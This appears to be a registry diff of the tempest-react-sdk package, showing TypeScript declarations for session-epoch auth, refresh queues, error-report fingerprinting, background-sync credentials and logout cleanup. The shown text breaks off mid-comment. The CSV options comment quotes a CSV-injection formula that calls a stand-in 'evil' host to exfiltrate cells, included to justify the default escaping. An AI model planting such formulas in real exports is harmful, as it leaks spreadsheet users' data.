tempest-react-sdk 0.75.0 → 0.77.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/README.md +4 -2
  2. package/bin/create-tempest-app.e2e.test.mjs +112 -0
  3. package/bin/create-tempest-app.mjs +69 -28
  4. package/bin/lib/component/generate.mjs +191 -0
  5. package/bin/lib/component/generate.test.mjs +336 -0
  6. package/bin/lib/openapi/escape.mjs +210 -0
  7. package/bin/lib/openapi/generate.hostile.test.mjs +592 -0
  8. package/bin/lib/openapi/generate.mjs +93 -17
  9. package/bin/lib/openapi/schema-to-zod.mjs +41 -4
  10. package/bin/tempest.mjs +184 -3
  11. package/dist/auth/create-tempest-auth.cjs +1 -1
  12. package/dist/auth/create-tempest-auth.cjs.map +1 -1
  13. package/dist/auth/create-tempest-auth.js +127 -55
  14. package/dist/auth/create-tempest-auth.js.map +1 -1
  15. package/dist/auth/refresh-queue.cjs +1 -1
  16. package/dist/auth/refresh-queue.cjs.map +1 -1
  17. package/dist/auth/refresh-queue.js +13 -6
  18. package/dist/auth/refresh-queue.js.map +1 -1
  19. package/dist/br/pix.cjs +1 -1
  20. package/dist/br/pix.cjs.map +1 -1
  21. package/dist/br/pix.js +72 -62
  22. package/dist/br/pix.js.map +1 -1
  23. package/dist/br.d.ts +12 -4
  24. package/dist/components/Chat/ChatAttachments.cjs +1 -1
  25. package/dist/components/Chat/ChatAttachments.cjs.map +1 -1
  26. package/dist/components/Chat/ChatAttachments.js +46 -38
  27. package/dist/components/Chat/ChatAttachments.js.map +1 -1
  28. package/dist/components/Markdown/markdown-parse.cjs +7 -5
  29. package/dist/components/Markdown/markdown-parse.cjs.map +1 -1
  30. package/dist/components/Markdown/markdown-parse.js +151 -87
  31. package/dist/components/Markdown/markdown-parse.js.map +1 -1
  32. package/dist/components/Toast/Toast.module.cjs +1 -1
  33. package/dist/components/Toast/Toast.module.cjs.map +1 -1
  34. package/dist/components/Toast/Toast.module.js +7 -3
  35. package/dist/components/Toast/Toast.module.js.map +1 -1
  36. package/dist/components/Toast/ToastProvider.cjs +1 -1
  37. package/dist/components/Toast/ToastProvider.cjs.map +1 -1
  38. package/dist/components/Toast/ToastProvider.js +77 -51
  39. package/dist/components/Toast/ToastProvider.js.map +1 -1
  40. package/dist/data/create-data-provider.cjs +1 -1
  41. package/dist/data/create-data-provider.cjs.map +1 -1
  42. package/dist/data/create-data-provider.js +32 -21
  43. package/dist/data/create-data-provider.js.map +1 -1
  44. package/dist/http/api-client.cjs +1 -1
  45. package/dist/http/api-client.cjs.map +1 -1
  46. package/dist/http/api-client.js +81 -73
  47. package/dist/http/api-client.js.map +1 -1
  48. package/dist/http/errors.cjs +1 -1
  49. package/dist/http/errors.cjs.map +1 -1
  50. package/dist/http/errors.js +39 -35
  51. package/dist/http/errors.js.map +1 -1
  52. package/dist/neural.cjs +2 -0
  53. package/dist/neural.cjs.map +1 -0
  54. package/dist/neural.d.ts +110 -0
  55. package/dist/neural.js +48 -0
  56. package/dist/neural.js.map +1 -0
  57. package/dist/oauth/callback.cjs +2 -0
  58. package/dist/oauth/callback.cjs.map +1 -0
  59. package/dist/oauth/callback.js +42 -0
  60. package/dist/oauth/callback.js.map +1 -0
  61. package/dist/oauth/use-oauth-callback.cjs +1 -1
  62. package/dist/oauth/use-oauth-callback.cjs.map +1 -1
  63. package/dist/oauth/use-oauth-callback.js +13 -20
  64. package/dist/oauth/use-oauth-callback.js.map +1 -1
  65. package/dist/push/use-push-subscription.cjs +1 -1
  66. package/dist/push/use-push-subscription.cjs.map +1 -1
  67. package/dist/push/use-push-subscription.js +42 -42
  68. package/dist/push/use-push-subscription.js.map +1 -1
  69. package/dist/push/web-push-client.cjs +1 -1
  70. package/dist/push/web-push-client.cjs.map +1 -1
  71. package/dist/push/web-push-client.js +23 -3
  72. package/dist/push/web-push-client.js.map +1 -1
  73. package/dist/query/offline-persistence.cjs +1 -1
  74. package/dist/query/offline-persistence.cjs.map +1 -1
  75. package/dist/query/offline-persistence.js +68 -23
  76. package/dist/query/offline-persistence.js.map +1 -1
  77. package/dist/styles/component/Toast.css +6 -1
  78. package/dist/styles/feedback.css +6 -1
  79. package/dist/styles.css +1 -1
  80. package/dist/sw/background-sync.cjs +1 -1
  81. package/dist/sw/background-sync.cjs.map +1 -1
  82. package/dist/sw/background-sync.js +271 -60
  83. package/dist/sw/background-sync.js.map +1 -1
  84. package/dist/sw/cache-inspect.cjs.map +1 -1
  85. package/dist/sw/cache-inspect.js.map +1 -1
  86. package/dist/sw/cache.cjs +1 -1
  87. package/dist/sw/cache.cjs.map +1 -1
  88. package/dist/sw/cache.js +91 -64
  89. package/dist/sw/cache.js.map +1 -1
  90. package/dist/sw/credential-headers.cjs +2 -0
  91. package/dist/sw/credential-headers.cjs.map +1 -0
  92. package/dist/sw/credential-headers.js +17 -0
  93. package/dist/sw/credential-headers.js.map +1 -0
  94. package/dist/sw/session-data.cjs +2 -0
  95. package/dist/sw/session-data.cjs.map +1 -0
  96. package/dist/sw/session-data.js +17 -0
  97. package/dist/sw/session-data.js.map +1 -0
  98. package/dist/sw.cjs +1 -1
  99. package/dist/sw.d.ts +271 -23
  100. package/dist/sw.js +7 -5
  101. package/dist/telemetry/app-error-owner.cjs +2 -0
  102. package/dist/telemetry/app-error-owner.cjs.map +1 -0
  103. package/dist/telemetry/app-error-owner.js +18 -0
  104. package/dist/telemetry/app-error-owner.js.map +1 -0
  105. package/dist/telemetry/app-error-queue.cjs +1 -1
  106. package/dist/telemetry/app-error-queue.cjs.map +1 -1
  107. package/dist/telemetry/app-error-queue.js +19 -14
  108. package/dist/telemetry/app-error-queue.js.map +1 -1
  109. package/dist/telemetry/app-error-reporter.cjs +1 -1
  110. package/dist/telemetry/app-error-reporter.cjs.map +1 -1
  111. package/dist/telemetry/app-error-reporter.js +75 -34
  112. package/dist/telemetry/app-error-reporter.js.map +1 -1
  113. package/dist/telemetry/app-error-transport.cjs +1 -1
  114. package/dist/telemetry/app-error-transport.cjs.map +1 -1
  115. package/dist/telemetry/app-error-transport.js +16 -3
  116. package/dist/telemetry/app-error-transport.js.map +1 -1
  117. package/dist/tempest-react-sdk.cjs +1 -1
  118. package/dist/tempest-react-sdk.d.ts +979 -62
  119. package/dist/tempest-react-sdk.js +160 -156
  120. package/dist/utils/csv.cjs +3 -3
  121. package/dist/utils/csv.cjs.map +1 -1
  122. package/dist/utils/csv.js +16 -13
  123. package/dist/utils/csv.js.map +1 -1
  124. package/dist/utils/safe-url.cjs +2 -0
  125. package/dist/utils/safe-url.cjs.map +1 -0
  126. package/dist/utils/safe-url.js +39 -0
  127. package/dist/utils/safe-url.js.map +1 -0
  128. package/dist/vite/tempest-csp.cjs +2 -2
  129. package/dist/vite/tempest-csp.cjs.map +1 -1
  130. package/dist/vite/tempest-csp.js +118 -63
  131. package/dist/vite/tempest-csp.js.map +1 -1
  132. package/dist/vite.d.ts +21 -5
  133. package/dist/webrtc/peer-link.cjs +1 -1
  134. package/dist/webrtc/peer-link.cjs.map +1 -1
  135. package/dist/webrtc/peer-link.js +2 -10
  136. package/dist/webrtc/peer-link.js.map +1 -1
  137. package/dist/webrtc/peer-mesh.cjs +1 -1
  138. package/dist/webrtc/peer-mesh.cjs.map +1 -1
  139. package/dist/webrtc/peer-mesh.js +110 -72
  140. package/dist/webrtc/peer-mesh.js.map +1 -1
  141. package/package.json +11 -1
  142. package/template-pwa/src/pwa.tsx +22 -0
  143. package/template-pwa/src/sw.ts +27 -14
  144. package/dist/components/Markdown/markdown-url.cjs +0 -2
  145. package/dist/components/Markdown/markdown-url.cjs.map +0 -1
  146. package/dist/components/Markdown/markdown-url.js +0 -28
  147. package/dist/components/Markdown/markdown-url.js.map +0 -1
@@ -714,6 +714,15 @@ export declare interface ApiClientConfig {
714
714
  prefix?: string;
715
715
  /** Returns the current bearer token (or null/undefined). Called per request. */
716
716
  getToken?: () => string | null | undefined;
717
+ /**
718
+ * Returns a counter that changes whenever the session changes — a sign-out,
719
+ * a sign-in. Read when each attempt leaves and handed to `refresh` and
720
+ * `onUnauthorized` in {@link RequestAuthContext}, so they can tell a `401`
721
+ * from an ended session (refuse it) from one of the current session (handle
722
+ * it). The token alone cannot: a request sent with no token, or with a token
723
+ * rehydrated from storage, says nothing about which session sent it.
724
+ */
725
+ getSessionEpoch?: () => number;
717
726
  /**
718
727
  * Origins besides `baseURL`'s that may receive the `getToken` credential.
719
728
  *
@@ -743,8 +752,12 @@ export declare interface ApiClientConfig {
743
752
  * Called when a request ends up unauthorized — a 401 with no `refresh`
744
753
  * configured, a `refresh()` that threw, or a retry that came back 401 again
745
754
  * after a refresh that resolved. Use it to end the session.
755
+ *
756
+ * `context` describes the attempt that came back `401` — the replay's, when
757
+ * it was the replay. Throwing {@link SessionSupersededError} here rejects the
758
+ * request with it; any other error is logged and the `401` is thrown as usual.
746
759
  */
747
- onUnauthorized?: (response: Response) => void | Promise<void>;
760
+ onUnauthorized?: (response: Response, context: RequestAuthContext) => void | Promise<void>;
748
761
  /**
749
762
  * Where the client reports each request it finished. Off when absent — the
750
763
  * client writes to no console of its own.
@@ -768,8 +781,17 @@ export declare interface ApiClientConfig {
768
781
  /**
769
782
  * Optional refresh hook. When provided and the original request returns 401,
770
783
  * the client awaits `refresh()` then retries the request once.
784
+ *
785
+ * The hook receives a {@link RequestAuthContext} naming the token the rejected
786
+ * request carried. A hook that ignores it keeps working; one that reads it
787
+ * can tell a stale `401` — the token already rotated since the request left —
788
+ * from a fresh one, and skip a second refresh.
789
+ *
790
+ * Throwing {@link SessionSupersededError} rejects the request with that
791
+ * error **without** calling `onUnauthorized`: the session the refresh
792
+ * belonged to is gone, and the one in its place must not be ended for it.
771
793
  */
772
- refresh?: () => Promise<void>;
794
+ refresh?: (context: RequestAuthContext) => Promise<void>;
773
795
  /**
774
796
  * Retry failed requests with exponential backoff. Off by default, so the
775
797
  * client keeps failing fast unless you opt in.
@@ -1072,6 +1094,25 @@ export declare interface AppErrorQueueEntry {
1072
1094
  report: AppErrorReportSchema;
1073
1095
  /** How many times this exact report was raised while it waited. */
1074
1096
  count: number;
1097
+ /**
1098
+ * The token in force when the report was raised, as a one-way fingerprint
1099
+ * (`"t:<hex>"`) — never the token itself. `null` means there was none;
1100
+ * the field is missing on entries persisted before it existed (≤ 0.76.0).
1101
+ *
1102
+ * The bearer is resolved when the queue drains, not when the error happens,
1103
+ * so this is what keeps a report user A raised offline from leaving with
1104
+ * user B's token: the bearer only goes out when it is the very token whose
1105
+ * fingerprint is stored here.
1106
+ */
1107
+ session?: string | null;
1108
+ /**
1109
+ * Who `getPrincipal` said was signed in when the report was raised, as a
1110
+ * one-way fingerprint (`"p:<hex>"`). Only set when the reporter has a
1111
+ * `getPrincipal`; `null` means it named nobody. It never grants the bearer
1112
+ * — `session` does — it only decides whether `foreignReports: "drop"`
1113
+ * discards the entry.
1114
+ */
1115
+ owner?: string | null;
1075
1116
  }
1076
1117
 
1077
1118
  /**
@@ -1090,9 +1131,22 @@ export declare interface AppErrorReporter {
1090
1131
  report: (error: unknown, context?: Record<string, unknown>) => void;
1091
1132
  /** Drain the queue now. Concurrent calls share one run. */
1092
1133
  flush: () => Promise<AppErrorFlushResult>;
1093
- /** The waiting entries, oldest first. */
1134
+ /**
1135
+ * The waiting entries, oldest first. With an async `getToken` and no
1136
+ * `getPrincipal`, a report joins them once its token resolves — `flush()`
1137
+ * waits for that, `pending()` does not.
1138
+ */
1094
1139
  pending: () => AppErrorQueueEntry[];
1095
- /** Drop every waiting report. */
1140
+ /**
1141
+ * Drop every waiting report. Call it on logout when reports raised in that
1142
+ * session should not outlive it; even without it, a report never leaves
1143
+ * with the next user's bearer.
1144
+ *
1145
+ * It also stops a flush in flight before its next send (the one already on
1146
+ * the wire cannot be recalled), and discards reports still waiting for an
1147
+ * async `getToken` to stamp them — both would otherwise refill the queue or
1148
+ * keep sending what the logout meant to forget.
1149
+ */
1096
1150
  clear: () => void;
1097
1151
  /** Remove the `online` listener and the retry timer. */
1098
1152
  dispose: () => void;
@@ -1740,6 +1794,56 @@ export declare type AvatarSize = "xs" | "sm" | "md" | "lg" | "xl";
1740
1794
 
1741
1795
  export declare type AvatarStatus = "online" | "offline" | "busy";
1742
1796
 
1797
+ /**
1798
+ * `type` of the message the worker posts to window clients to ask about a queued
1799
+ * request. Answered by {@link provideBackgroundSyncCredentials}.
1800
+ */
1801
+ export declare const BACKGROUND_SYNC_CREDENTIALS_MESSAGE = "tempest:bg-sync-credentials";
1802
+
1803
+ /**
1804
+ * Resolve the credentials for a queued request: a header record to apply, or
1805
+ * `null` when there is no session (the entry is then dropped).
1806
+ */
1807
+ export declare type BackgroundSyncCredentialsProvider = (request: BackgroundSyncCredentialsRequest) => Record<string, string> | null | Promise<Record<string, string> | null>;
1808
+
1809
+ /** The request a window client is asked about, as sent by the worker. */
1810
+ export declare interface BackgroundSyncCredentialsRequest {
1811
+ /** Absolute URL of the queued request. */
1812
+ url: string;
1813
+ /** HTTP method of the queued request. */
1814
+ method: string;
1815
+ /**
1816
+ * `"enqueue"` when the worker only wants the owner of a request that just
1817
+ * failed; `"replay"` when it is about to send it and needs the credentials.
1818
+ */
1819
+ phase: "enqueue" | "replay";
1820
+ }
1821
+
1822
+ /**
1823
+ * How an entry is tied to whoever queued it:
1824
+ * - `"bound"`: the issuing page reported a principal (or `null` for nobody);
1825
+ * the entry only goes out while the same one is signed in.
1826
+ * - `"unbound"`: the issuing page answered without `getPrincipal`.
1827
+ * - `"unknown"`: nobody could say — no issuing tab, no answer, an error, or an
1828
+ * entry written before owners existed. Fails closed.
1829
+ *
1830
+ * While the worker is still asking, the stored state is `"pending"`, which a
1831
+ * replay never sees: it waits, then reads a stamp that never came as `"unknown"`.
1832
+ */
1833
+ export declare type BackgroundSyncOwnerState = "bound" | "unbound" | "unknown";
1834
+
1835
+ /** What a queued request looked like when it was stored, passed to `beforeReplay`. */
1836
+ export declare interface BackgroundSyncReplayContext {
1837
+ /** Epoch milliseconds of the original failed attempt. */
1838
+ queuedAt: number;
1839
+ /** Lower-cased credential header names stripped before the entry was stored. */
1840
+ strippedHeaders: readonly string[];
1841
+ /** How the entry is tied to its owner. */
1842
+ ownerState: BackgroundSyncOwnerState;
1843
+ /** Owner fingerprint under `"bound"` (`null` for nobody); `undefined` otherwise. */
1844
+ owner: string | null | undefined;
1845
+ }
1846
+
1743
1847
  /**
1744
1848
  * Pill / square status badge.
1745
1849
  *
@@ -2468,9 +2572,10 @@ export declare type CacheFilter = string | RegExp | ((name: string) => boolean);
2468
2572
 
2469
2573
  /**
2470
2574
  * Main-thread helpers to inspect and clear the Cache Storage buckets a service
2471
- * worker fills — for a "X MB cacheado" readout and a "limpar cache" action
2472
- * (e.g. on logout). All guard `caches` so they no-op safely under SSR / older
2473
- * browsers.
2575
+ * worker fills — for a "X MB cacheado" readout and a "limpar cache" action.
2576
+ * On logout prefer `clearSessionData`, which also drops the background-sync
2577
+ * queue and spares the app-shell precache. All guard `caches` so they no-op
2578
+ * safely under SSR / older browsers.
2474
2579
  */
2475
2580
  /** Per-cache usage summary returned by {@link inspectCaches}. */
2476
2581
  export declare interface CacheReport {
@@ -3109,6 +3214,28 @@ declare type ClassValue = string | number | bigint | boolean | null | undefined
3109
3214
  */
3110
3215
  export declare function clearAnnouncer(): void;
3111
3216
 
3217
+ /**
3218
+ * Empty the background-sync queue — every request still waiting to be replayed —
3219
+ * and bump its clear epoch. Call it on logout (or use `clearSessionData()`, which
3220
+ * also clears the runtime caches) so mutations made under one session are never
3221
+ * replayed under the next.
3222
+ *
3223
+ * Works from the page and from the worker, and reaches work already in flight
3224
+ * in the worker: a replay checks each entry right before sending it, and a
3225
+ * request still failing when the queue is cleared is not written afterwards.
3226
+ *
3227
+ * @param queueName - The `queueName` given to {@link installBackgroundSync}.
3228
+ * Default `tempest-bg-sync`.
3229
+ * @returns `true` once the queue is empty; `false` when IndexedDB is
3230
+ * unavailable (SSR, old browsers).
3231
+ *
3232
+ * @example
3233
+ * import { clearBackgroundSyncQueue } from "tempest-react-sdk/sw";
3234
+ *
3235
+ * await clearBackgroundSyncQueue();
3236
+ */
3237
+ export declare function clearBackgroundSyncQueue(queueName?: string): Promise<boolean>;
3238
+
3112
3239
  /**
3113
3240
  * Delete Cache Storage buckets whose name passes `filter` (all of them when no
3114
3241
  * filter is given).
@@ -3117,10 +3244,60 @@ export declare function clearAnnouncer(): void;
3117
3244
  * @returns The names of the caches that were deleted.
3118
3245
  *
3119
3246
  * @example
3120
- * await clearCaches("tempest-"); // drop every SDK-managed cache on logout
3247
+ * await clearCaches("tempest-api"); // drop one runtime bucket
3121
3248
  */
3122
3249
  export declare function clearCaches(filter?: CacheFilter): Promise<string[]>;
3123
3250
 
3251
+ /**
3252
+ * Remove everything the service-worker helpers keep on behalf of the signed-in
3253
+ * user: the runtime caches filled by `installRuntimeCache` and the queue of
3254
+ * mutations waiting in `installBackgroundSync`. Call it on logout, from the page.
3255
+ *
3256
+ * Both stores outlive the session and are shared by every account that signs in
3257
+ * on the browser. Measured in Chromium 153 (11/10/2026), before this existed:
3258
+ * the documented `clearCaches("tempest-")` deleted nothing because the recipe's
3259
+ * runtime cache was named `api`, the next account read the previous account's
3260
+ * `GET /api/me` offline, and a mutation queued by the previous account was
3261
+ * replayed with its stored bearer after logout. A prefix filter cannot know the
3262
+ * names a recipe chose, so the default here inverts it: every bucket goes except
3263
+ * the precache, which holds only the build's static assets.
3264
+ *
3265
+ * Cache Storage and IndexedDB are origin storage, readable from the window, so
3266
+ * this needs no message to the worker.
3267
+ *
3268
+ * @param options - Narrow the caches to delete, or name a custom queue.
3269
+ * @returns The caches deleted and whether the queue was cleared.
3270
+ *
3271
+ * @example
3272
+ * import { clearSessionData } from "tempest-react-sdk/sw";
3273
+ *
3274
+ * async function logout() {
3275
+ * await clearSessionData();
3276
+ * }
3277
+ */
3278
+ export declare function clearSessionData(options?: ClearSessionDataOptions): Promise<ClearSessionDataResult>;
3279
+
3280
+ /** Options for {@link clearSessionData}. */
3281
+ export declare interface ClearSessionDataOptions {
3282
+ /**
3283
+ * Which Cache Storage buckets hold session data. Default: every bucket except
3284
+ * the app-shell precache (`tempest-precache-*`), so the app still launches
3285
+ * offline after logout while no runtime entry — whatever its `cacheName` —
3286
+ * survives into the next session.
3287
+ */
3288
+ caches?: CacheFilter;
3289
+ /** The background-sync `queueName` to clear. Default `tempest-bg-sync`. */
3290
+ queueName?: string;
3291
+ }
3292
+
3293
+ /** What {@link clearSessionData} removed. */
3294
+ export declare interface ClearSessionDataResult {
3295
+ /** Names of the Cache Storage buckets deleted. */
3296
+ caches: string[];
3297
+ /** Whether the background-sync queue was emptied. */
3298
+ queueCleared: boolean;
3299
+ }
3300
+
3124
3301
  /**
3125
3302
  * Wraps its children in a `<div>` and invokes `onOutside` whenever a
3126
3303
  * `mousedown` or `touchstart` event occurs outside that subtree.
@@ -3670,6 +3847,12 @@ export declare function createApiClient(config: ApiClientConfig): ApiClient;
3670
3847
  * - **any other 4xx** — dropped: the backend will refuse that body forever, and
3671
3848
  * keeping it would block every report queued behind it.
3672
3849
  *
3850
+ * Each report is stamped with a one-way fingerprint of the token in force when
3851
+ * it was raised, and goes out with a bearer only when the token at send time is
3852
+ * that same one — never with the token of whoever signed in next. The queue
3853
+ * never stores a token. `clear()` also stops a flush in flight and discards
3854
+ * reports still waiting for an async token.
3855
+ *
3673
3856
  * @example
3674
3857
  * import { createAppErrorReporter } from "tempest-react-sdk";
3675
3858
  *
@@ -3696,6 +3879,44 @@ export declare interface CreateAppErrorReporterOptions {
3696
3879
  * to get through. A token that throws or resolves empty sends anonymously.
3697
3880
  */
3698
3881
  getToken?: () => string | null | undefined | Promise<string | null | undefined>;
3882
+ /**
3883
+ * Who is signed in right now — a stable, non-secret id such as the user id.
3884
+ * Read **when the error is reported**, and stored in the queue only as a
3885
+ * one-way fingerprint (`entry.owner`). A non-string (an `async` getter
3886
+ * from untyped JS, an object) or a getter that throws reads as nobody.
3887
+ *
3888
+ * It never grants the bearer. The bearer goes out only when the token at
3889
+ * send time is the very token that was in force at report time (its
3890
+ * fingerprint is `entry.session`): the principal and the token come from
3891
+ * two sources, and a principal store that lags behind a login would
3892
+ * otherwise send A's report with B's token. The principal only tells
3893
+ * {@link CreateAppErrorReporterOptions.foreignReports} `"drop"` whose
3894
+ * report is whose.
3895
+ */
3896
+ getPrincipal?: () => string | number | null | undefined;
3897
+ /**
3898
+ * What to do with a queued report that cannot go out with the current
3899
+ * bearer — raised under another token, or queued before 0.77.0. Default
3900
+ * `"anonymous"`.
3901
+ *
3902
+ * - `"anonymous"` — send it without `Authorization`. The route is public,
3903
+ * so the error still reaches the backend; it is only not attributed to
3904
+ * anybody. This includes the user's own reports raised before a token
3905
+ * refresh: attribution is lost, never misplaced.
3906
+ * - `"drop"` — discard every report not proven to be the current
3907
+ * principal's: another principal, nobody, or unknown (no principal at
3908
+ * report time, a legacy entry, or nobody signed in now). For apps where
3909
+ * a previous user's error text must not leave the device after they
3910
+ * signed out. **Needs `getPrincipal`**: without it the only identity is
3911
+ * the token fingerprint, and a refresh changes it, so a mismatch is no
3912
+ * proof the report is someone else's — the reporter then sends
3913
+ * anonymously instead of destroying the user's own reports.
3914
+ *
3915
+ * Never is a report sent with a bearer other than the one it was raised
3916
+ * under: that would credit the previous user's error to whoever signed in
3917
+ * next.
3918
+ */
3919
+ foreignReports?: "anonymous" | "drop";
3699
3920
  /**
3700
3921
  * Device facts, read **when the error is reported**, not when it is sent —
3701
3922
  * a report queued offline on `1.4.0` must not go out labelled `1.5.0`.
@@ -3870,6 +4091,10 @@ export declare function createColorScale(hex: string, mode?: "light" | "dark", o
3870
4091
  * `GET /{resource}/{id}`, create → `POST`, update → `PATCH`/`PUT`,
3871
4092
  * delete → `DELETE`.
3872
4093
  *
4094
+ * Every id goes through {@link encodeIdSegment} before reaching `buildPath`, so
4095
+ * an id can never leave its own path segment — not with the default builder,
4096
+ * and not with an override that interpolates it.
4097
+ *
3873
4098
  * @param client - The HTTP client created by `createApiClient`.
3874
4099
  * @param options - Optional overrides for param names, sort encoding,
3875
4100
  * update method and path building.
@@ -4415,7 +4640,7 @@ export declare function createOSRMBackend(options: OSRMBackendOptions): RoutingB
4415
4640
  /**
4416
4641
  * Build a `206 Partial Content` response from a full one for an HTTP `Range`
4417
4642
  * request. Supports `bytes=start-end`, open-ended `bytes=start-` and suffix
4418
- * `bytes=-suffixLength`. Returns the original response when there is no usable
4643
+ * `bytes=-suffixLength` (the last N bytes). Returns the original response when there is no usable
4419
4644
  * `Range` header, or a `416` when the range is unsatisfiable.
4420
4645
  *
4421
4646
  * @param request The incoming request (its `Range` header drives the slice).
@@ -4607,15 +4832,26 @@ export declare function createQueryKeys<TKey extends string, TEntries extends Re
4607
4832
  * is already fresh. Measured against a mock backend, five concurrent expired
4608
4833
  * requests took two refreshes, not one.
4609
4834
  *
4610
- * Pass `getToken` to close that gap. The queue remembers the token its last
4611
- * refresh produced, and a call that finds that same token still in place returns
4612
- * immediately, because the refresh it was about to perform has already happened.
4835
+ * Pass `getToken` to close that gap. Wired as `createApiClient`'s `refresh`, the
4836
+ * queue is told which token each rejected request carried: when that token is
4837
+ * no longer the current one, the rotation it was about to trigger already
4838
+ * happened, so the call returns at once and the replay picks up the new token.
4613
4839
  * The same five requests then take exactly one refresh, and so do twenty.
4614
4840
  *
4841
+ * Called by hand, with no context, the queue falls back to remembering the
4842
+ * token its last refresh produced and skipping while that token is in place.
4843
+ * That fallback cannot tell "already refreshed" from "the refreshed token has
4844
+ * since expired" — both leave the same string in the store — which is why the
4845
+ * client passes the context. Before 0.77.0 the client did not, and every
4846
+ * access token a refresh issued became unrefreshable once it expired: its `401`
4847
+ * skipped the refresh, the replay failed again, and `onUnauthorized` ended the
4848
+ * session.
4849
+ *
4615
4850
  * @param refresh - Performs the refresh and installs the new credentials.
4616
4851
  * @param options - Optional token reader that enables already-refreshed
4617
4852
  * detection.
4618
- * @returns A function that refreshes at most once per rotation.
4853
+ * @returns A function that refreshes at most once per rotation, accepting the
4854
+ * {@link RequestAuthContext} `createApiClient` passes on a `401`.
4619
4855
  *
4620
4856
  * @example
4621
4857
  * const refresh = createRefreshQueue(() => AuthService.refresh(), {
@@ -4626,7 +4862,7 @@ export declare function createQueryKeys<TKey extends string, TEntries extends Re
4626
4862
  * await refresh();
4627
4863
  * // ...retry the original request
4628
4864
  */
4629
- export declare function createRefreshQueue(refresh: () => Promise<void>, options?: CreateRefreshQueueOptions): () => Promise<void>;
4865
+ export declare function createRefreshQueue(refresh: () => Promise<void>, options?: CreateRefreshQueueOptions): (context?: Pick<RequestAuthContext, "token">) => Promise<void>;
4630
4866
 
4631
4867
  export declare interface CreateRefreshQueueOptions {
4632
4868
  /**
@@ -4842,6 +5078,20 @@ export declare interface CreateStorePersistOptions<T> {
4842
5078
  * `redirectTo` set, the browser also leaves the page; without it, clearing the
4843
5079
  * store is enough for a `<RouteGuard>` to navigate on its own.
4844
5080
  *
5081
+ * Every refresh is bound to a **session epoch**, bumped by `logout()` and by a
5082
+ * `login()` whose credentials were accepted. A refresh that resolves after its epoch ended discards
5083
+ * what it brought back and rejects with {@link SessionSupersededError}, which
5084
+ * the client passes through without ending the new session. Before 0.77.0 a
5085
+ * refresh that was in flight during `logout()` reinstalled the old tokens —
5086
+ * and after `logout()` + `login(B)`, replaced B's token with A's while the UI
5087
+ * showed B (#435). A `401` from a request sent under an ended session is
5088
+ * refused the same way, instead of being replayed as the account signed in now.
5089
+ *
5090
+ * Refreshes are collapsed per rotation, not just per overlap: a `401` whose
5091
+ * request left with a token that has since been replaced in the same session
5092
+ * replays with the new token and refreshes nothing. Three expired requests take
5093
+ * one refresh whether their `401`s arrive together or one after another.
5094
+ *
4845
5095
  * @example
4846
5096
  * const auth = createTempestAuth<User, { email: string; password: string }>({
4847
5097
  * baseURL: import.meta.env.VITE_API_URL,
@@ -4850,7 +5100,7 @@ export declare interface CreateStorePersistOptions<T> {
4850
5100
  *
4851
5101
  * await auth.login({ email, password }); // stores session, returns the user
4852
5102
  * const orders = await auth.api.get("/api/orders"); // sends the bearer token
4853
- * auth.logout();
5103
+ * await auth.logout(); // clears, then runs onSessionEnd
4854
5104
  *
4855
5105
  * @param options - The auth configuration.
4856
5106
  * @returns The store hook, a wired API client, and login/logout/refresh helpers.
@@ -4929,6 +5179,48 @@ export declare interface CreateTempestAuthOptions<TUser> {
4929
5179
  * outside any guarded subtree and a full reload is acceptable.
4930
5180
  */
4931
5181
  redirectTo?: string;
5182
+ /**
5183
+ * Tear down per-user state when a session ends — on an explicit `logout()`,
5184
+ * when the client ends the session on its own after a failed refresh, and
5185
+ * when a successful `login()` replaces a live session. Without it, the automatic path had no place to hook into, and
5186
+ * state derived from the user (a push subscription, a persisted query
5187
+ * cache, a background-sync queue) survived into the next account.
5188
+ *
5189
+ * Order, on every path:
5190
+ *
5191
+ * 1. any refresh still in flight is superseded, so it cannot reinstall the
5192
+ * ending session's tokens;
5193
+ * 2. the store and the stored refresh token are cleared — synchronously, so
5194
+ * `isAuthenticated` is already `false` when `logout()` returns;
5195
+ * 3. this hook runs with a {@link TempestSessionEnd} whose `api` still sends
5196
+ * the ended session's access token;
5197
+ * 4. on `"expired"` with `redirectTo` set, the browser navigates — after the
5198
+ * hook settled, even if it threw; on `"switch"`, the new session is
5199
+ * installed — after the hook settled, even if it threw.
5200
+ *
5201
+ * It may be async. `logout()` resolves when it settles and rejects with what
5202
+ * it threw; on the automatic path the error is swallowed, because the
5203
+ * request that ended the session already rejects with its own `401`. It
5204
+ * runs once per session: a second `logout()`, or the other requests of a
5205
+ * burst of `401`s, find nothing left to end and skip it.
5206
+ *
5207
+ * On `"switch"` the hook runs only **after** the new credentials were
5208
+ * accepted, so a failed `login()` leaves the live session untouched. It runs
5209
+ * **before** the new session is installed: teardown of the previous
5210
+ * account's state (clearing a persisted cache, a background-sync queue) has
5211
+ * to finish before the new account's requests start filling them, or it
5212
+ * would wipe — or race with — the new account's data. The cost is that
5213
+ * `isAuthenticated` is `false` while the hook runs, which a route guard may
5214
+ * act on; keep the hook short. Its error is swallowed there, since the
5215
+ * login itself succeeded.
5216
+ *
5217
+ * Inside the hook, reach the backend only through `session.api`. `auth.api`
5218
+ * goes out with no token; `auth.login()` waits on the teardown in progress —
5219
+ * this hook — and never settles. Telling the hook apart from an outside
5220
+ * caller would need an async context the browser does not have, so this is
5221
+ * a documented rule, not a runtime check.
5222
+ */
5223
+ onSessionEnd?: (session: TempestSessionEnd<TUser>) => void | Promise<void>;
4932
5224
  }
4933
5225
 
4934
5226
  /**
@@ -5403,6 +5695,26 @@ export declare interface CsvOptions {
5403
5695
  delimiter?: "," | ";";
5404
5696
  /** Prefix the output with a UTF-8 BOM. Default `true`. */
5405
5697
  bom?: boolean;
5698
+ /**
5699
+ * Prefix `'` to every text field that a spreadsheet would read as a formula.
5700
+ * Default `true`.
5701
+ *
5702
+ * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the
5703
+ * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only
5704
+ * `=`), and opening the file evaluates it: a name typed
5705
+ * as `=HYPERLINK("https://evil/?d="&A1,"ver")` turns into a link that exfiltrates
5706
+ * other cells (OWASP "CSV Injection"). Measured on LibreOffice 26.2: `=1+2` was
5707
+ * imported as the formula `of:=1+2` with value `3`. The default is the safe one
5708
+ * because the BOM and the `;` delimiter already aim the file at a spreadsheet,
5709
+ * and because the app that exports rarely controls every value in it.
5710
+ *
5711
